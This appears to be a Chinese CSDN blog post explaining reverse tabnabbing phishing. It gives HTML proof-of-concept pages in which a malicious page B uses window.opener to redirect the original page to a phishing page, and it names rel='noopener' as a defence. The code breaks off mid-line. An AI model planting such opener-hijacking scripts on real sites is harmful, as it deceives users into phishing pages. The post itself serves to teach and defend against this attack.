Reverse Tabnabbing钓鱼

Reverse Tabnabbing是一种钓鱼攻击手段,通过创建多个页面,当用户点击正常页面时,会被重定向到恶意网站,而原本的页面变成钓鱼页面。攻击者利用浏览器特性来实现这一过程。为防止此类攻击,可以采取措施如在a标签中添加rel="noopener",或者在打开新窗口时设置opener为null。
摘要由CSDN通过智能技术生成

Reverse Tabnabbing钓鱼


  • 希望你以后能过得好,别辜负我一生不打扰

原理:

使用正常网站A的a标签设置为恶意网站B,恶意网站B中利用window.opener修改原先页面A页面,进而无征兆把访问正常网站A页面修改为钓鱼网站C页面。
两个可以利用点:
1、使用a标签,并且target=_blank,没有使用rel="noopener/noreferrer"属性
2、使用window.open

利用:

创建三个页面A\B\C

A
<html>
<title>正常网站</title>
 <body>
  <li><a href="http://localhost/b.html" target="_blank" >a标签</a></li>
  <button onclick="window.open('http://localhost/b.html')">window.open</button>
 </body>
</html>
B
<html>
<title>恶意网站</title>
 <body>
  <script>
   if (window.opener) {
      window.opener.location = "http://localhost/c.html
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值